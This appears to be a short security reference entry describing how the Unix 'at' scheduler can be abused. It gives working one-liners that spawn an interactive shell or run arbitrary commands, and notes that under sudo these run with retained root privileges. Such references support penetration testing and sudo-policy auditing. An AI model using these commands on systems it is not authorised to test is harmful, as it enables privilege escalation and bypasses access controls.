This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
This executable can run non-interactive system commands.
This function can be performed by any unprivileged user.
echo /path/to/command | at now
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo /path/to/command | at now